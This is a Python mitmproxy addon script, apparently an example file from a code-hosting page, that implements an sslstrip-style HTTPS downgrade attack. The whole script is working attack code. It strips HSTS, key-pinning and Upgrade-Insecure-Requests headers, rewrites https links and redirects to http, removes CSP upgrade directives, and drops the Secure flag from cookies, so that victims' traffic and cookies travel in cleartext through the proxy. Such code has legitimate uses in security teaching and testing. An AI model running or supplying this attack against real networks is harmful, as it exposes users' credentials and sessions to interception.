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64 lines
2.6 KiB
Python
64 lines
2.6 KiB
Python
"""
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This script implements an sslstrip-like attack based on mitmproxy.
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https://moxie.org/software/sslstrip/
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"""
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import re
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import urllib.parse
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import typing
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from mitmproxy import http
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# set of SSL/TLS capable hosts
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secure_hosts: typing.Set[str] = set()
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def request(flow: http.HTTPFlow) -> None:
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flow.request.headers.pop('If-Modified-Since', None)
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flow.request.headers.pop('Cache-Control', None)
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# do not force https redirection
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flow.request.headers.pop('Upgrade-Insecure-Requests', None)
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# proxy connections to SSL-enabled hosts
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if flow.request.pretty_host in secure_hosts:
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flow.request.scheme = 'https'
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flow.request.port = 443
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# We need to update the request destination to whatever is specified in the host header:
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# Having no TLS Server Name Indication from the client and just an IP address as request.host
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# in transparent mode, TLS server name certificate validation would fail.
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flow.request.host = flow.request.pretty_host
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def response(flow: http.HTTPFlow) -> None:
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assert flow.response
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flow.response.headers.pop('Strict-Transport-Security', None)
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flow.response.headers.pop('Public-Key-Pins', None)
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# strip links in response body
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flow.response.content = flow.response.content.replace(b'https://', b'http://')
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# strip meta tag upgrade-insecure-requests in response body
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csp_meta_tag_pattern = br'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
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flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
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# strip links in 'Location' header
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if flow.response.headers.get('Location', '').startswith('https://'):
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location = flow.response.headers['Location']
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hostname = urllib.parse.urlparse(location).hostname
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if hostname:
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secure_hosts.add(hostname)
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flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
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# strip upgrade-insecure-requests in Content-Security-Policy header
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csp_header = flow.response.headers.get('Content-Security-Policy', '')
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if re.search('upgrade-insecure-requests', csp_header, flags=re.IGNORECASE):
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csp = flow.response.headers['Content-Security-Policy']
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new_header = re.sub(r'upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
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flow.response.headers['Content-Security-Policy'] = new_header
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# strip secure flag from 'Set-Cookie' headers
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cookies = flow.response.headers.get_all('Set-Cookie')
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cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
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flow.response.headers.set_all('Set-Cookie', cookies)
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